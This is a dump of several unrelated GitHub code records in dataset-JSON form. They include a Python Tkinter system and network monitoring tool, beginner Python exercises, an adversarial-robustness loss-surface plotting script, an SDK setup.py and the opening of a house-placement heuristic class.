acquired\r\n      if not ping():\r\n        \r\n        # if connection not acquired\r\n        time.sleep(1)\r\n      else:\r\n        \r\n        # if connection is acquired\r\n        first_check()\r\n        print(monitoring_date_time)\r\n        break\r\n\r\n  with open(FILE, \"a\") as file:\r\n  \r\n    # write into the file as a into networkinfo.log,\r\n    # \"a\" - append: opens file for appending,\r\n    # creates the file if it does not exist???\r\n    file.write(\"\\n\")\r\n    file.write(monitoring_date_time + \"\\n\")\r\n\r\n  while True:\r\n  \r\n    # infinite loop, as we are monitoring\r\n    # the network connection till the machine runs\r\n    if ping():\r\n      \r\n      # if true: the loop will execute after every 5 seconds\r\n      time.sleep(5)\r\n\r\n    else:\r\n      # if false: fail message will be displayed\r\n      down_time = datetime.datetime.now()\r\n      fail_msg = \"disconnected at: \" + str(down_time).split(\".\")[0]\r\n      print(fail_msg)\r\n\r\n      with open(FILE, \"a\") as file:\r\n        # writes into the log file\r\n        file.write(fail_msg + \"\\n\")\r\n\r\n      while not ping():\r\n      \r\n        # infinite loop, will run till ping() return true\r\n        time.sleep(1)\r\n\r\n      up_time = datetime.datetime.now()\r\n      \r\n      # after loop breaks, connection restored\r\n      uptime_message = \"connected again: \" + str(up_time).split(\".\")[0]\r\n\r\n      down_time = calculate_time(down_time, up_time)\r\n      unavailablity_time = \"connection was unavailable for: \" + down_time\r\n\r\n      print(uptime_message)\r\n      print(unavailablity_time)\r\n      with open(FILE, \"a\") as file:\r\n        \r\n        # log entry for connection restoration time,\r\n        # and unavailability time\r\n        file.write(uptime_message + \"\\n\")\r\n        file.write(unavailablity_time + \"\\n\")\r\n\r\n\r\n#-------------------------------------------------------------------------------\r\n\r\n\r\nimport psutil\r\n\r\n#measure cpu time\r\n\r\ndef monitor_cpu_times():\r\n  #print(\"==========CPU/PC HEALTH MONITORING=============\")\r\n  c1 =Label(root,text=\"CPU/PC HEALTH MONITORING STATISTICS:\",font=(\"Arial Bold\", 12),anchor =CENTER)\r\n  c1.place(x=70,y=130)\r\n  #print(\"\\n CPU TIMES\")\r\n  with open(file1, \"a\") as filec:\r\n    filec.write(\"\\n\\n CPU TIMES\")\r\n  c2 =Label(root,text=\"CPU TIMES:\",font=(\"Arial bold\", 10),anchor =CENTER)\r\n  c2.place(x=40,y=160)\r\n  cpu_times = psutil.cpu_times()\r\n  user_time = round(cpu_times.user/3600)\r\n  system_time = round(cpu_times.system/3600)\r\n  idle_time = round(cpu_times.idle/3600)\r\n  c3 =Label(root,text=\"Time spent on processes by the User: {}\".format(user_time),font=(\"Arial\", 10),anchor =CENTER)\r\n  c3.place(x=190,y=160) \r\n\r\n  c4 =Label(root,text=\"Time spent on processes by the System: {}\".format(system_time),font=(\"Arial\", 10),anchor =CENTER)\r\n  c4.place(x=190,y=180)\r\n\r\n  c5 =Label(root,text=\"Time spent on processes by Idle: {}\".format(idle_time),font=(\"Arial\", 10),anchor =CENTER)\r\n  c5.place(x=190,y=200)\r\n  with open(file1, \"a\") as filec:\r\n    filec.write(\"\\nTime spent on processes by the User: {}\".format(user_time))\r\n    filec.write(\"\\nTime spent on processes by the System: {}\".format(system_time))\r\n    filec.write(\"\\nTime spent on processes by Idle: {}\".format(idle_time))\r\n\r\n  #print(\"Time spent on processes by the User: {}\".format(user_time))\r\n  #print(\"Time spent on processes by the System: {}\".format(system_time))\r\n  #print(\"Time spent on processes by Idle: {}\".format(idle_time))\r\n\r\n\r\n#measure cpu util\r\ndef monitor_cpu_util():\r\n  c6 =Label(root,text=\"CPU Utilisation:\",font=(\"Arial bold\", 10),anchor =CENTER)\r\n  c6.place(x=40,y=240)\r\n\r\n  c7 = Label(root,text=psutil.cpu_percent(),font=(\"Arial\", 10),anchor =CENTER)\r\n  c7.place(x=190,y=240)\r\n  #print(\"\\n CPU UTIL\")\r\n  #print(psutil.cpu_percent())\r\n  with open(file1, \"a\") as filec:\r\n    filec.write(\"\\n\\n CPU UTIL\\n\")\r\n    filec.write(str(psutil.cpu_percent()))\r\n\r\n\r\n\r\n#count working cpu cores\r\ndef monitor_cpu_cores():\r\n  c8 =Label(root,text=\"Working CPU cores:\",font=(\"Arial bold\", 10),anchor =CENTER)\r\n  c8.place(x=40,y=280)\r\n\r\n  c9 = Label(root,text=psutil.cpu_count(),font=(\"Arial\", 10),anchor =CENTER)\r\n  c9.place(x=190,y=280)\r\n  #print(\"\\n CPU CORES\")\r\n  #print(psutil.cpu_count())\r\n  with open(file1, \"a\") as filec:\r\n    filec.write(\"\\n\\n CPU CORES\\n\")\r\n    filec.write(str(psutil.cpu_count()))\r\n\r\n\r\n#Measure CPU frequencies\r\ndef monitor_cpu_freq():\r\n  c10 =Label(root,text=\"CPU frequencies :\",font=(\"Arial bold\", 10),anchor =CENTER)\r\n  c10.place(x=40,y=320)\r\n\r\n  c11 = Label(root,text=\"{} Mhz\".format(psutil.cpu_freq().current),font=(\"Arial\", 10),anchor =CENTER)\r\n  c11.place(x=190,y=320)\r\n  #print(\"\\n CPU FRQUENCIES\")\r\n  #print(\"{} Mhz\".format(psutil.cpu_freq().current))\r\n  with open(file1, \"a\") as filec:\r\n    filec.write(\"\\n\\n CPU FRQUENCIES\\n\")\r\n    filec.write(\"\\n{} Mhz\".format(psutil.cpu_freq().current))\r\n\r\n#Monitor RAM usage\r\ndef monitor_ram():\r\n  #print(\"\\n RAM USAGE\")\r\n  c10 =Label(root,text=\"RAM USAGE :\",font=(\"Arial bold\", 10),anchor =CENTER)\r\n  c10.place(x=40,y=360)\r\n  virtual_memory = psutil.virtual_memory()\r\n  c11 = Label(root,text=\"Total Memory :{} bytes\".format(virtual_memory.total),font=(\"Arial\", 10),anchor =CENTER)\r\n  c11.place(x=190,y=360)\r\n  c12 = Label(root,text=\"Available Memory :{} bytes\".format(virtual_memory.available),font=(\"Arial\", 10),anchor =CENTER)\r\n  c12.place(x=190,y=380)\r\n  c13 = Label(root,text=\"Used Memory :{} bytes\".format(virtual_memory.used),font=(\"Arial\", 10),anchor =CENTER)\r\n  c13.place(x=190,y=400)\r\n  c14 = Label(root,text=\"Percentage Used :{}%\".format(virtual_memory.percent),font=(\"Arial\", 10),anchor =CENTER)\r\n  c14.place(x=190,y=420)\r\n  #print(\"Total Memory :{} bytes\".format(virtual_memory.total))\r\n  #print(\"Available Memory :{} bytes\".format(virtual_memory.available))\r\n  #print(\"Used Memory :{} bytes\".format(virtual_memory.used))\r\n  #print(\"Percentage Used :{}%\".format(virtual_memory.percent))\r\n  with open(file1, \"a\") as filec:\r\n    filec.write(\"\\n\\n RAM USAGE\\n\")\r\n    filec.write(\"Total Memory :{} bytes\".format(virtual_memory.total))\r\n    filec.write(\"\\nAvailable Memory :{} bytes\".format(virtual_memory.available))\r\n    filec.write(\"\\nUsed Memory :{} bytes\".format(virtual_memory.used))\r\n    filec.write(\"\\nPercentage Used :{}%\".format(virtual_memory.percent))\r\n    \r\n\r\n'''#Monitor disk partitions\r\ndef monitor_disk():\r\n  print(\"\\n DISK PARTITIONS\")\r\n  print(psutil.disk_paritions())\r\n  '''\r\n\r\n#disk utilisation\r\ndef monitor_disk_usage():\r\n  c15 =Label(root,text=\"DISK UTILISATION :\",font=(\"Arial bold\", 10),anchor =CENTER)\r\n  c15.place(x=40,y=460)\r\n  #print(\"\\n DISK USAGE\")\r\n  disk_usage = psutil.disk_usage('/')\r\n  c14 = Label(root,text=\"Total Memory {} bytes\".format(disk_usage.total),font=(\"Arial\", 10),anchor =CENTER)\r\n  c14.place(x=190,y=460)\r\n  c15 = Label(root,text=\"Free Memory {} bytes\".format(disk_usage.free),font=(\"Arial\", 10),anchor =CENTER)\r\n  c15.place(x=190,y=480)\r\n  c16 = Label(root,text=\"Used Memory {} bytes\".format(disk_usage.used),font=(\"Arial\", 10),anchor =CENTER)\r\n  c16.place(x=190,y=500)\r\n  c17 = Label(root,text=\"Percentage used {}%\".format(disk_usage.percent),font=(\"Arial\", 10),anchor =CENTER)\r\n  c17.place(x=190,y=520)\r\n  #print(\"Total Memory {} bytes\".format(disk_usage.total))\r\n  #print (\"Free Memory {} bytes\".format(disk_usage.free))\r\n  #print(\"Used Memory {} bytes\".format(disk_usage.used))\r\n  #print(\"Percentage used {}%\".format(disk_usage.percent))\r\n  with open(file1, \"a\") as filec:\r\n    filec.write(\"\\n\\n DISK USAGE\")\r\n    filec.write(\"\\nTotal Memory {} bytes\".format(disk_usage.total))\r\n    filec.write(\"\\nFree Memory {} bytes\".format(disk_usage.free))\r\n    filec.write(\"\\nUsed Memory {} bytes\".format(disk_usage.used))\r\n    filec.write(\"\\nPercentage used {}%\".format(disk_usage.percent))\r\n\r\n\r\n\r\n  \r\n  \r\n#Monitor Network Requests\r\ndef monitor_network():\r\n  c18 =Label(root,text=\"NETWORK REQUESTS :\",font=(\"Arial bold\", 10),anchor =CENTER)\r\n  c18.place(x=40,y=560)\r\n  #print(\"\\n NETWORK REQUESTS\")\r\n  io_stats = psutil.net_io_counters()\r\n  c19 = Label(root,text=\"Total Bytes Sent {}\".format(io_stats.bytes_sent),font=(\"Arial\", 10),anchor =CENTER)\r\n  c19.place(x=190,y=560)\r\n  c20 = Label(root,text=\"Total Bytes Received {}\".format(io_stats.bytes_recv),font=(\"Arial\", 10),anchor =CENTER)\r\n  c20.place(x=190,y=580)\r\n  #print(\"Total Bytes Sent {}\".format(io_stats.bytes_sent))\r\n  #print(\"Total Bytes Received {}\".format(io_stats.bytes_recv))\r\n  with open(file1, \"a\") as filec:\r\n    filec.write(\"\\n\\n NETWORK REQUESTS\")\r\n    filec.write(\"\\nTotal Bytes Sent {}\".format(io_stats.bytes_sent))\r\n    filec.write(\"\\nTotal Bytes Received {}\".format(io_stats.bytes_recv))\r\n\r\n  \r\n#Monitor battery\r\ndef monitor_battery():\r\n  #print(\"\\n MONITOR BATTERY\")\r\n  c21 =Label(root,text=\"MONITOR BATTERY :\",font=(\"Arial bold\", 10),anchor =CENTER)\r\n  c21.place(x=40,y=620)\r\n  battery_info = psutil.sensors_battery()\r\n  battery = \" Battery Percent : {}\".format(battery_info.percent)\r\n  #print(\" Battery Percent : {}\".format(battery_info.percent))\r\n  secs_left =\" Seconds Left : {}\".format(battery_info.secsleft)\r\n  #print(\" Seconds Left : {}\".format(battery_info.secsleft))\r\n  c22 = Label(root,text=battery,font=(\"Arial\", 10),anchor =CENTER)\r\n  c22.place(x=190,y=620)\r\n  c23 = Label(root,text=battery,font=(\"Arial\", 10),anchor =CENTER)\r\n  c23.place(x=190,y=640)\r\n  #print(battery)\r\n  #print(secs_left)\r\n  with open(file1, \"a\") as filec:\r\n    filec.write(\"\\n\\n MONITOR BATTERY\\n\")\r\n    filec.write(\" Battery Percent : {}\".format(battery_info.percent))\r\n    filec.write(\"\\n Seconds Left : {}\".format(battery_info.secsleft))\r\n\r\ndef cpu_health():\r\n  with open(file1, \"a\") as filec:\r\n    filec.write(\"\\n\\n\\n\\nCurrent date and time = %s\\n\" % e)\r\n    filec.write(\"Today's date:  = %s/%s/%s\\n\" % (e.day, e.month, e.year))\r\n    filec.write(\"The time is now: = %s:%s:%s\\n\" % (e.hour, e.minute, e.second))\r\n    filec.write(\"==========CPU/PC HEALTH MONITORING  =============\\n\")\r\n  monitor_cpu_times()\r\n  monitor_cpu_util()\r\n  monitor_cpu_cores()\r\n  monitor_cpu_freq()\r\n  monitor_ram()\r\n  #monitor_disk()\r\n  monitor_disk_usage()\r\n  monitor_network()\r\n  monitor_battery()\r\n#------------------------------------------------------------------------------------\r\nimport speedtest\r\nimport datetime\r\nimport time\r\ns = speedtest.Speedtest()\r\n\r\n\r\ndef internet():\r\n  '''#img.place(x=60, y=140)\r\n  box1.pack(\r\n    ipadx=10,\r\n    ipady=100\r\n  )'''\r\n  i1 =Label(root,text=\"INTERNET MONITORING STATISTICS:\",font=(\"Arial Bold\", 12),anchor =CENTER)\r\n  i1.place(x=70,y=670)\r\n  i2 =Label(root,text=\"Loading....:\",font=(\"Arial\", 10),anchor =CENTER)\r\n  i2.place(x=140,y=690)\r\n  #print(\"\\n\\n\\n================INTERNET MONITORING===============\")\r\n  time_now = datetime.datetime.now().strftime(\"%H:%M:%S\")\r\n  downspeed = round((round(s.download()) / 1048576), 2)\r\n  upspeed = round((round(s.upload()) / 1048576), 2)\r\n  i3 =Label(root,text=f\"time: {time_now}\\ndownspeed: {downspeed} Mb/s\\nupspeed: {upspeed} Mb/s \",font=(\"Arial\", 10),anchor =CENTER)\r\n  i3.place(x=140,y=690)\r\n  with open(file2, \"a\") as filen:\r\n    filen.write(\"\\n================INTERNET MONITORING===============\\n\")\r\n    filen.write(f\"time: {time_now}\\ndownspeed: {downspeed} Mb/s\\nupspeed: {upspeed} Mb/s\\n\\n\\n\")\r\n  #print(f\"time: {time_now}, downspeed: {downspeed} Mb/s, upspeed: {upspeed} Mb/s\")\r\n  # 60 seconds sleep\r\n  time.sleep(5)\r\n\r\n\r\n\r\n#cpu_health()\r\n#internet()\r\n#network()\r\n#-------------------------task manager-------------------------------------------------------------------------------------------\r\nimport subprocess\r\ndef getListOfProcessSortedByMemory():\r\n    '''\r\n    Get list of running process sorted by Memory Usage\r\n    '''\r\n    listOfProcObjects = []\r\n    # Iterate over the list\r\n    for proc in psutil.process_iter():\r\n       try:\r\n           # Fetch process details as dict\r\n           pinfo = proc.as_dict(attrs=['pid', 'name', 'username'])\r\n           pinfo['vms'] = proc.memory_info().vms / (1024 * 1024)\r\n           # Append dict to list\r\n           listOfProcObjects.append(pinfo);\r\n       except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):\r\n           pass\r\n    # Sort list of dict by key vms i.e. memory usage\r\n    listOfProcObjects = sorted(listOfProcObjects, key=lambda procObj: procObj['vms'], reverse=True)\r\n    return listOfProcObjects\r\ndef process():\r\n    print(\"\\n\\n=======================PROCESS MONITORING==========================\")\r\n    print(\"\\n\\n*** Iterate over all running process and print process ID & Name ***\\n\")\r\n    print (\"Current date and time = %s\" % e)\r\n    with open(file3, \"a\") as filep:\r\n        filep.write(\"=======================PROCESS MONITORING==========================\")\r\n        filep.write(\"\\n\\n*** Iterate over all running process and print process ID & Name ***\\n\")\r\n        filep.write(\"Current date and time = %s\\n\" % e)\r\n    # Iterate over all running process\r\n    for proc in psutil.process_iter():\r\n        try:\r\n            # Get process name & pid from process object.\r\n            processName = proc.name()\r\n            processID = proc.pid\r\n            #print(processName , ' ::: ', processID)\r\n            print(str(processName)+' ::: '+ str(processID)+\"\\n\")\r\n            with open(file3, \"a\") as filep:\r\n                filep.write(str(processName)+' ::: '+ str(processID)+\"\\n\")\r\n        except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):\r\n            pass\r\n    print('\\n\\n*** Create a list of all running processes ***')\r\n    with open(file3, \"a\") as filep:\r\n        filep.write('\\n\\n*** Create a list of all running processes ***\\n')\r\n    listOfProcessNames = list()\r\n    # Iterate over all running processes\r\n    for proc in psutil.process_iter():\r\n       # Get process detail as dictionary\r\n       pInfoDict = proc.as_dict(attrs=['pid', 'name', 'cpu_percent'])\r\n       # Append dict of process detail in list\r\n       listOfProcessNames.append(pInfoDict)\r\n    # Iterate over the list of dictionary and print each elem\r\n    for elem in listOfProcessNames:\r\n        print(elem)\r\n        with open(file3, \"a\") as filep:\r\n            filep.write(str(elem)+\"\\n\")\r\n    print('\\n\\n*** Top 5 process with highest memory usage ***')\r\n    with open(file3, \"a\") as filep:\r\n        filep.write('\\n\\n*** Top 5 process with highest memory usage ***\\n')\r\n    listOfRunningProcess = getListOfProcessSortedByMemory()\r\n    for elem in listOfRunningProcess[:5] :\r\n        print(elem)\r\n        with open(file3, \"a\") as filep:\r\n            filep.write(str(elem)+\"\\n\")\r\n\r\ndef user():\r\n    user_list = psutil.users()\r\n    print(\"\\n\\n=========================USER DETAILS========================\\n\")\r\n    print (\"Current date and time = %s\" % e)\r\n    print(\"Users associated with this System are :\")\r\n    with open(file3, \"a\") as filep:\r\n        filep.write(\"\\n\\n=========================USER DETAILS========================\\n\")\r\n        filep.write(\"Current date and time = %s\" % e)\r\n        filep.write(\"\\nUsers associated with this System are :\\n\")\r\n    for user in user_list:\r\n        username = user.name\r\n        print(username)\r\n        with open(file3, \"a\") as filep:\r\n            filep.write(username)\r\n\r\nimport win32con\r\nimport win32service\r\n\r\ndef services():\r\n    print(\"\\n\\n=====================SERVICE MONITORING==========================\\n\")\r\n    print(\"Listing all services below:\\n\")\r\n    with open(file3, \"a\") as filep:\r\n            filep.write(\"\\n\\n=====================SERVICE MONITORING==========================\\n\")\r\n            filep.write(\"Listing all services below:\\n\")\r\n\r\n    resume = 0\r\n    accessSCM = win32con.GENERIC_READ\r\n    accessSrv = win32service.SC_MANAGER_ALL_ACCESS\r\n\r\n    #Open Service Control Manager\r\n    hscm = win32service.OpenSCManager(None, None, accessSCM)\r\n\r\n    #Enumerate Service Control Manager DB\r\n    typeFilter = win32service.SERVICE_WIN32\r\n    stateFilter = win32service.SERVICE_STATE_ALL\r\n\r\n    statuses = win32service.EnumServicesStatus(hscm, typeFilter, stateFilter)\r\n\r\n    for (short_name, desc, status) in statuses:\r\n        print(short_name, desc, status)\r\n        with open(file3, \"a\") as filep:\r\n            filep.write(str(short_name)+str(desc)+str(status)+\"\\n\")\r\n\r\n\r\n\r\n\r\ndef taskmanager():\r\n  process()\r\n  user()\r\n  services()\r\n  \r\n\r\n\r\n#-----------------------------------------------------------------------------------------------------------------------------------\r\nlbl = Label(root, text=\"SN Monitoring Tool\", font=(\"Arial Bold\", 30), justify = 'center',foreground=\"brown\",bg='white')\r\nlbl.place(x=85,y=8)\r\n\r\nlbx = Label(root, text=\"Developed by: Sudhanshu Nerkar\", font=(\"Cascadia Code\", 13), justify = 'center',foreground=\"purple\",bg='white')\r\nlbx.place(x=120,y=57)\r\n\r\nbutton1 = tk.Button(text='Network Monitoring',command=threading.Thread(target=network).start,bg='#f5e1c9')\r\nbutton1.place(x=20,y=93)\r\n\r\nbutton2 = tk.Button(text='PC health monitoring',command=threading.Thread(target=cpu_health).start,bg='#f5e1c9')\r\nbutton2.place(x=150,y=93)\r\n\r\nbutton3 = tk.Button(text='Internet Monitoring',command=threading.Thread(target=internet).start,bg='#f5e1c9')\r\nbutton3.place(x=280,y=93)\r\n\r\nbutton4 = tk.Button(text='Task Manager details',command=threading.Thread(target=taskmanager).start,bg='#f5e1c9')\r\nbutton4.place(x=410,y=93)\r\n\r\n\r\nroot.mainloop()\r\n","repo_name":"Sudnerkar23/Monitoring-Tool","sub_path":"SN-monitoring.py","file_name":"SN-monitoring.py","file_ext":"py","file_size_in_byte":20853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"7641534305","text":"\n#ENTRADA\nqtd = int(input(\"Digite a qtd de testes: \"))\nsoma = 0\nqtd_n = 0\nac_numero = 0\nsoma_p = 0\nqtd_nn = 0\nmedia_p = 0\nac_par = 0\nac_impar = 0\nmedia = 0\nimpares = 0\n\n#PROCESSAMENTO\nfor i in range(0,qtd):\n    print(\"NUMERO\",i+1)\n    numero = float(input(\"Digite o numero: \"))\n\n    soma += numero # A\n\n    qtd_n += 1     # B\n\n    ac_numero += numero\n    media = ac_numero/qtd_n # C\n\n    if numero > 0:   # D\n        soma_p += numero\n\n    if numero < 0:  # E\n        qtd_nn += 1\n\n    if numero % 2 == 0:\n        ac_par += numero\n        media = ac_par/qtd_n # F\n\n    if numero % 2 == 0:   # G\n        continue\n    else:\n        ac_impar += 1\n        impares = (ac_impar *numero)/100\n\n#SAIDA\nprint(\"Soma dos numeros digitados: \",soma)\nprint(\"a quantidade de números digitados\",qtd_n)\nprint(\"a média dos números digitados\",media)\nprint(\"a soma dos números positivos\",soma_p)\nprint(\"a quantidade de números negativos\",qtd_nn)\nprint(\"a média dos números pares\",media)\nprint(\"o percentual dos números ímpares entre todos os números digitados\",impares,\"%\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"RafaelSanzio0/FACULDADE-PYTHON.1","sub_path":"AULAS ATT/EXERCICIOS PARA REVISAR PROVAS/EXTRAS06.py","file_name":"EXTRAS06.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7217383079","text":"#Codigo: Funcoes\n#Autora: Carla Edila Silveira\n#Finalidade: criar funcoes para reaproveitar código  - curso Python Quick Start\n#Data: 21/09/2021\n\n#criacao de funcao\ndef saudacoes():    #define a funcao saudacoes \n  name = input(\"Por favor, digite seu nome: \")  #corpo da funcao\n  periodo = input(\"Por favor, digite o período do dia (manha/tarde/noite): \")  #corpo da funcao\n  print(\"Boa \" + periodo + \", \" + name + \"!\")  #corpo da funcao\n\nsaudacoes()   #chama o bloco de codigo que compoe a funcao saudacoes\n\nsaudacoes()\n\nsaudacoes()\n\nsaudacoes()\n\n#funcoes pre configuradas do Python\nprint(\"Olá, mundo!\") #PRINT imprime uma string ou texto\n\nprint(2000 + 21) #imprime o resultado do calculo\n\nnome = input(\"What is your name? \")   #INPUT pede para usuario informar dado que sera recebido pela variavel\ncor = input(\"What is your favorite color? \") #resposta sera digitada pelo usuario e armazenada na variavel\n\nprint(nome)  #uso das variaveis em diferentes formas\nprint(cor)\nprint(\"Hi \" + nome + \"! \" + cor + \" is a great color!\") #impresao de strings concatenadas\n\n# EXERCICIO\n# Para criar um código reutilizável que multiplique 4 números, podemos\n# criar uma função # de multiplicação que aceite 4 parâmetros numéricos\n\ndef multiplicaQuatro(a, b, c, d): # definida funcao\n  prod = a * b * c * d\n  return prod\n\nmulti4 = multiplicaQuatro(2, 4, 6, 8)  # variavel recebe valor resultante do calculo feito pela funcao\nprint(\"A multiplicação entre 2, 4, 6 e 8 resulta em: \", multi4)  # imprime o valor da variavel\n\n# fim do codigo\n","repo_name":"rosacarla/100-days-of-python-code","sub_path":"codigos100/funcoes.py","file_name":"funcoes.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36341017869","text":"# Decision Boundary Disortion\n# todo:\n# 1. 画出loss的曲面图         ✅\n# 2. 曲面图上的标注预测值的信息  ✅\n\nimport numpy as np\nfrom numpy.core.function_base import linspace\nimport torch\nimport torch.nn as nn\nimport argparse\nimport os\nimport models\nimport data\nimport utils\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nfrom matplotlib.colors import LightSource\nimport seaborn as sns\n\n\ndef get_args():\n    parser = argparse.ArgumentParser()\n    \n    parser.add_argument('--batch_size_eval', default=1, type=int, help='batch size for the final eval with pgd rr; 6 GB memory is consumed for 1024 examples with fp32 network')\n    parser.add_argument('--dataset', default='cifar10', choices=['mnist', 'svhn', 'cifar10', 'cifar10_binary', 'cifar10_binary_gs', 'uniform_noise', 'imagenet'], type=str)\n    parser.add_argument('--eps', default=8.0, type=float)\n    parser.add_argument(\"--timestamp\", default=\"2021-10-26\", help=\"模型训练的时间戳，用来选择被测试的模型\")\n    parser.add_argument('--model', default='resnet18', choices=['resnet18', 'lenet', 'cnn'], type=str)\n    parser.add_argument('--model_label', default='last', choices=['last', 'best', 'best_test'], type=str)\n    parser.add_argument('--n_final_eval', default=-1, type=int, help='on how many examples to do the final evaluation; -1 means on all test examples.')\n\n    return parser.parse_args()\n\n\ndef main():\n    args = get_args()\n    \n    # 1.加载模型和数据\n    timestamp = args.timestamp\n    model_name = \"\"\n    for filename in os.listdir(\"models/\"):\n        if timestamp in filename:\n            model_name = \"models/\" + filename\n            break\n    model_saved = torch.load(model_name)\n\n    n_cls = 2 if 'binary' in args.dataset else 10\n    test_batches = data.get_loaders(args.dataset, args.n_final_eval, 100, train_set=False, shuffle=False, data_augm=False)\n\n    model = models.get_model(args.model, n_cls, False, data.shapes_dict[args.dataset], 16).cuda()\n    model.load_state_dict(model_saved[args.model_label])\n\n    images, labels = iter(test_batches).next()\n    images, labels = images.cuda(), labels.cuda()\n\n    # 2. 生成对抗样本\n    eps = args.eps / 255                                                       # 参数指定的单位是像素值\n    opt = torch.optim.SGD(model.parameters(), lr=0)\n    j = 68\n    # 88 81\n    \n    \n    grad_x = utils.get_grad_np(model, test_batches, eps, opt, False, rs=False)\n    grad_dir = torch.Tensor(grad_x[j]).sign().mul(8/255)\n    rand_dir = torch.rand_like(grad_dir).sub(0.5).sign().mul(8/255)\n    cos_x_eta = utils.avg_cos_np(grad_dir.numpy()[np.newaxis,:], rand_dir.numpy()[np.newaxis,:])\n    print(cos_x_eta)\n    rx, ry, zs, predict = cal_perturb(model=model, image=images[j], label=labels[j], vec_x=grad_dir, vec_y=rand_dir, range_x=(0,1), range_y=(0,1), grid_size=50, batch_size=args.batch_size_eval)\n\n    plot_perturb_plt(rx, ry, zs, predict, label=labels[j].item(), color_by_loss=False)\n\n\n\n# 为什么batch_size会影响发画出来图的情况\n# 因为网络中有BatchNorm层，所以batch_size会影响结果，如果想画一个光滑的图，要么batch_size设为1，要为设的足够大，保证所有的样例在同一个batch上（当样例不多时）\ndef cal_perturb(model, image, label, vec_x, vec_y, range_x, range_y, grid_size=8, loss=nn.CrossEntropyLoss(reduction='none'), batch_size=1, cuda=True):\n    rx = np.linspace(*range_x, grid_size)\n    ry = np.linspace(*range_y, grid_size)\n\n    images = []\n    loss_list = []\n    pre_list = []\n\n    if cuda:\n        image = image.cuda()\n        label = label.cuda()\n        vec_x = vec_x.cuda()\n        vec_y = vec_y.cuda()\n\n    for j in ry:\n        for i in rx:\n            images.append(image + i*vec_x + j*vec_y)\n\n            if len(images) == batch_size:\n                images = torch.stack(images)\n                labels = torch.stack([label]*batch_size)\n                outputs = model(images)\n\n                _, pres = torch.max(outputs.data, 1)\n                pre_list.append(pres.data.cpu().numpy())\n                loss_list.append(loss(outputs, labels).data.cpu().numpy())\n\n                images = []\n\n    if len(images) > 0:\n        # 处理剩下的不够一个batch的数据\n        images = torch.stack(images)\n        labels = torch.stack([label]*len(images))\n        outputs = model(images)\n\n        _, pres = torch.max(outputs.data, 1)\n        pre_list.append(pres.data.cpu().numpy())\n        loss_list.append(loss(outputs, labels).data.cpu().numpy())\n\n    pre_list = np.concatenate(pre_list).reshape(len(rx), len(ry))\n    loss_list = np.concatenate(loss_list, axis=None).reshape(len(rx), len(ry))\n\n    return rx, ry, loss_list, pre_list\n    \n\ndef plot_perturb_plt(rx, ry, loss, predict, label, color_by_loss=True):\n    if color_by_loss:\n        colors = loss\n    else:\n        colors = np.empty(predict.shape, dtype=str)\n        for i in range(predict.shape[0]):\n            for j in range(predict.shape[1]):\n                # print(i, j, predict[i][j])\n                if predict[i][j] == label:\n                    colors[i][j] = 'green'\n                else:\n                    colors[i][j] = 'red'\n\n    fig = plt.figure()\n    ax3 = plt.axes(projection='3d')\n\n    X, Y = np.meshgrid(rx, ry)\n    ax3.set_xlabel(\"v1\")\n    ax3.set_ylabel(\"v2\")\n    ax3.set_zlabel(\"loss\")\n    ax3.plot_surface(X, Y, loss, rstride = 1, cstride = 1, facecolors=colors, linewidth=0)\n    plt.show()\n\n\n\n\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"CharlesJames13586/Improving-Single-Step-Adversarial-Training-By-Local-Smoothing","sub_path":"DBD.py","file_name":"DBD.py","file_ext":"py","file_size_in_byte":5505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42319389451","text":"from setuptools import setup, find_packages\n\nNAME = \"intersight\"\nVERSION = \"1.0.11.14430\"\nREQUIRES = [\n  \"urllib3 >= 1.25.3\",\n  \"python-dateutil\",\n  \"pem>=19.3.0\",\n  \"pycryptodome>=3.9.0\",\n]\n\nsetup(\n    name=NAME,\n    version=VERSION,\n    description=\"The Python SDK for Cisco Intersight\",\n    author=\"Intersight API support\",\n    author_email=\"intersight@cisco.com\",\n    url=\"https://intersight.com\",\n    keywords=[\"Cisco Intersight\"],\n    python_requires=\">=3.6\",\n    install_requires=REQUIRES,\n    packages=find_packages(exclude=[\"test\", \"tests\"]),\n    include_package_data=True,\n    license=\"MIT\",\n    long_description_content_type=\"text/markdown\",\n    long_description=open('README.md').read(),\n)\n\n","repo_name":"CiscoDevNet/intersight-python","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"16"}
+{"seq_id":"3320366534","text":"# amstelhaegeSetup.py\n# Minor programmeren; Heuristiek; Amstelhaege\n#\n# team KOX\n# Khalid El Khuri   11927739\n# Orin Habich       10689508\n# Xander Locsin     10722432\n#\n# Contains the class that sets up the terrain houses and waters for Amstelhaege.py\n# This class contains all specifications of the case.\n\nfrom classes.amstelhaegeObjects import AmstelhaegeObject\nimport numpy as np\nfrom matplotlib import colors\nimport matplotlib.pyplot as plt\nfrom math import ceil\nimport random as random\n\n\nclass AmstelhaegeSetup:\n    \"\"\" The setup for the project Amstelhaege, thus the terrain, waters and houses.\n\n    Attributes:\n        Name            Type        Description\n\n        variant         integer     The total number of houses.\n        score           float       The score, sum of values of houses.\n        validConfig     boolean     Indicates the validity of the current setup.\n        length          integer     Length of the area (in 0.5m).\n        width           integer     Width of the area (in 0.5m).\n        area            integer     Area of the terrain Amstelhaege.\n        grid            array       Grid over the terrain.\n        minNrWaters     integer     Minimum number of waters required.\n        maxNrWaters     integer     Maximum number of waters required.\n        nrWaters        integer     Actual number of waters.\n        waterArea       float       Area that has to be water.\n        lowBndRatio     integer     Minimum for the ratios of water dimensions.\n        upBndRatio      integer     Maximum for the ratios of water dimensions.\n        percSfh         float       Required percentage single family 